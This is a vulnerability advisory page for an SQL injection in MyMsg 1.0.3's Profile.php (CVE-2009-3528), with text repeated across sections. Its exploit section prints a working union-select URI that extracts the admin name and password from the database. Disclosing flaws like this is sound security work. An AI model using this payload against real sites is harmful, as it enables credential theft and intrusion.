MyMsg 'Profile.php' SQL Injection Vulnerability
BID:43618
Info
MyMsg 'Profile.php' SQL Injection Vulnerability
| Bugtraq ID: | 43618 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3528 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 10 2009 12:00AM |
| Updated: | Jul 10 2009 12:00AM |
| Credit: | Monster-Dz |
| Vulnerable: |
al4us MyMsg 1.0.3 |
| Not Vulnerable: | |
Discussion
MyMsg 'Profile.php' SQL Injection Vulnerability
MyMsg is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyMsg 1.0.3 is vulnerable; other versions may also be affected.
MyMsg is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyMsg 1.0.3 is vulnerable; other versions may also be affected.
Exploit / POC
MyMsg 'Profile.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following example URI is available:
http://www.example.com/Profile.php?SES_ID=| Your Session Id |&do=show&uid=-225+union+select+1,2,3,4,concat(Admin_Name,0x3a,Admin_Password),6,7,8,9,10,11,12+from+tbl_setting--
An attacker can exploit this issue via a browser.
The following example URI is available:
http://www.example.com/Profile.php?SES_ID=| Your Session Id |&do=show&uid=-225+union+select+1,2,3,4,concat(Admin_Name,0x3a,Admin_Password),6,7,8,9,10,11,12+from+tbl_setting--
Solution / Fix
MyMsg 'Profile.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].